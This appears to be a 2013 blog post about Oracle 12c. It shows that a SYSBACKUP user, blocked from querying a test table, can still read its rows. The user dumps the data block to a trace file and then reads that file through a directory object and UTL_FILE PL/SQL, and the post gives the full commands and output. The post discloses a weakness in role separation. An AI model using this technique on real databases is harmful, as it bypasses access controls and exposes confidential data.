oracle 12c introduced the sysbackup user to further separate roles. this should allow you to make backups without seeing the actual data. a simple test case:
SQL> create user test identified by test; User created. SQL> alter user test quota unlimited on PBD1; User altered. SQL> create table test.t1 ( a number, b varchar2(5) ); Table created. SQL> insert into test.t1 values (1,'aaaaa'); 1 row created. SQL> insert into test.t1 values (2,'bbbbb'); 1 row created. SQL> commit; Commit complete.
so, one table and two columns. according to the documentation I should not be able to see this data when connected as sysbackup:
oracle@localhost trace]$ sqlplus sysbackup/admin@pdb1 as SYSBACKUP
SQL*Plus: Release 12.1.0.1.0 Production on Sun Nov 24 09:47:26 2013
Copyright (c) 1982, 2013, Oracle. All rights reserved.
Connected to:
Oracle Database 12c Enterprise Edition Release 12.1.0.1.0 - 64bit Production
With the Partitioning, OLAP, Advanced Analytics and Real Application Testing options
SQL> select * from test.t1;
select * from test.t1
*
ERROR at line 1:
ORA-01031: insufficient privileges
SQL>
ok, seems to work. but wait:
SQL> select rowid from test.t1;
ROWID
------------------
AAAEseAALAAAACFAAA
AAAEseAALAAAACFAAB
SQL> select dbms_rowid.ROWID_BLOCK_NUMBER('AAAEseAALAAAACFAAA') from dual;
DBMS_ROWID.ROWID_BLOCK_NUMBER('AAAESEAALAAAACFAAA')
---------------------------------------------------
133
SQL> select file_id from dba_data_files where file_name like '%pdb1_01%';
FILE_ID
----------
11
now that I know the block- and filenumber let’s see if I may dump the block:
SQL> show user USER is "SYSBACKUP" SQL> alter system dump datafile 11 block 133; System altered. SQL>
hmm. this is nothing you want a backup user to be able to do:
[oracle@localhost trace]$ cat orcl_ora_4748.trc
Trace file /oradata/orcl/admin/diag/rdbms/orcl/orcl/trace/orcl_ora_4748.trc
Oracle Database 12c Enterprise Edition Release 12.1.0.1.0 - 64bit Production
With the Partitioning, OLAP, Advanced Analytics and Real Application Testing options
ORACLE_HOME = /opt/oracle/product/base/12.1.0.1
System name: Linux
Node name: localhost.localdomain
Release: 2.6.32-358.23.2.el6.x86_64
Version: #1 SMP Wed Oct 16 18:37:12 UTC 2013
Machine: x86_64
Instance name: orcl
Redo thread mounted by this instance: 1
Oracle process number: 7
Unix process pid: 4748, image: oracle@localhost.localdomain
*** 2013-11-24 09:50:47.946
*** SESSION ID:(162.25) 2013-11-24 09:50:47.946
*** CLIENT ID:() 2013-11-24 09:50:47.946
*** SERVICE NAME:(pdb1) 2013-11-24 09:50:47.946
*** MODULE NAME:(sqlplus@localhost.localdomain (TNS V1-V3)) 2013-11-24 09:50:47.946
*** ACTION NAME:() 2013-11-24 09:50:47.946
*** CONTAINER ID:(3) 2013-11-24 09:50:47.946
Start dump data blocks tsn: 3 file#:11 minblk 133 maxblk 133
Block dump from cache:
Dump of buffer cache at level 4 for pdb=3 tsn=3 rdba=46137477
BH (0x6affa418) file#: 11 rdba: 0x02c00085 (11/133) class: 1 ba: 0x6afa2000
set: 6 pool: 3 bsz: 8192 bsi: 0 sflg: 2 pwc: 0,0
dbwrid: 0 obj: 19230 objn: 19230 tsn: [3/3] afn: 11 hint: f
hash: [0x7e56ccf8,0x7e56ccf8] lru: [0x6affa648,0x6affa3c8]
obj-flags: object_ckpt_list
ckptq: [0x7e1aad28,0x6affb958] fileq: [0x7e1aae88,0x7e1aae88]
objq: [0x75049b18,0x75049b18] objaq: [0x6affa680,0x6affa400]
st: XCURRENT md: NULL fpin: 'kdswh11: kdst_fetch' fscn: 0x0.ce0cd tch: 1
flags: buffer_dirty only_sequential_access
LRBA: [0x26.214.0] LSCN: [0x0.ce0cd] HSCN: [0x0.ce0cd] HSUB: [1]
Block dump from disk:
buffer tsn: 3 rdba: 0x02c00085 (11/133)
scn: 0x0.c9093 seq: 0x01 flg: 0x04 tail: 0x90930601
frmt: 0x02 chkval: 0xb280 type: 0x06=trans data
Hex dump of block: st=0, typ_found=1
Dump of memory from 0x00007F6F305E6800 to 0x00007F6F305E8800
7F6F305E6800 0000A206 02C00085 000C9093 04010000 [................]
7F6F305E6810 0000B280 00000001 00004B1E 000C908F [.........K......]
7F6F305E6820 00000000 00320002 02C00080 000E0007 [......2.........]
7F6F305E6830 0000023D 0140295E 000B0065 00000002 [=...^)@.e.......]
7F6F305E6840 00000000 00000000 00000000 00000000 [................]
Repeat 1 times
7F6F305E6860 00000000 00020100 0016FFFF 1F6A1F80 [..............j.]
7F6F305E6870 00001F6A 1F8C0002 00001F80 00000000 [j...............]
7F6F305E6880 00000000 00000000 00000000 00000000 [................]
Repeat 501 times
7F6F305E87E0 00000000 0202012C 620503C1 62626262 [....,......bbbbb]
7F6F305E87F0 0202012C 610502C1 61616161 90930601 [,......aaaaa....]
Block header dump: 0x02c00085
Object id on Block? Y
seg/obj: 0x4b1e csc: 0x00.c908f itc: 2 flg: E typ: 1 - DATA
brn: 0 bdba: 0x2c00080 ver: 0x01 opc: 0
inc: 0 exflg: 0
Itl Xid Uba Flag Lck Scn/Fsc
0x01 0x0007.00e.0000023d 0x0140295e.0065.0b ---- 2 fsc 0x0000.00000000
0x02 0x0000.000.00000000 0x00000000.0000.00 ---- 0 fsc 0x0000.00000000
bdba: 0x02c00085
data_block_dump,data header at 0x7f6f305e6864
===============
tsiz: 0x1f98
hsiz: 0x16
pbl: 0x7f6f305e6864
76543210
flag=--------
ntab=1
nrow=2
frre=-1
fsbo=0x16
fseo=0x1f80
avsp=0x1f6a
tosp=0x1f6a
0xe:pti[0] nrow=2 offs=0
0x12:pri[0] offs=0x1f8c
0x14:pri[1] offs=0x1f80
block_row_dump:
tab 0, row 0, @0x1f8c
tl: 12 fb: --H-FL-- lb: 0x1 cc: 2
col 0: [ 2] c1 02
col 1: [ 5] 61 61 61 61 61
tab 0, row 1, @0x1f80
tl: 12 fb: --H-FL-- lb: 0x1 cc: 2
col 0: [ 2] c1 03
col 1: [ 5] 62 62 62 62 62
end_of_block_dump
End dump data blocks tsn: 3 file#: 11 minblk 133 maxblk 133
you might say that a sysbackup user does not need to have access to the server and therefore might not see the contents of the dumpfile:
SQL> show user
USER is "SYSBACKUP"
SQL> show parameter background
NAME TYPE VALUE
------------------------------------ ----------- ------------------------------
background_core_dump string partial
background_dump_dest string /oradata/orcl/admin/diag/rdbms
/orcl/orcl/trace
SQL> create or replace directory MY_DIR as '/oradata/orcl/admin/diag/rdbms/orcl/orcl/trace/';
Directory created.
set serverout on
declare
f_in utl_file.file_type;
s_in varchar2(10000);
string varchar2(32000);
begin
f_in := utl_file.fopen('MY_DIR','orcl_ora_4748.trc','R');
loop
begin
utl_file.get_line(f_in,s_in);
dbms_output.put_line (string);
string:= string || s_in;
end;
end loop;
utl_file.fclose(f_in);
end;
/
… here we go.

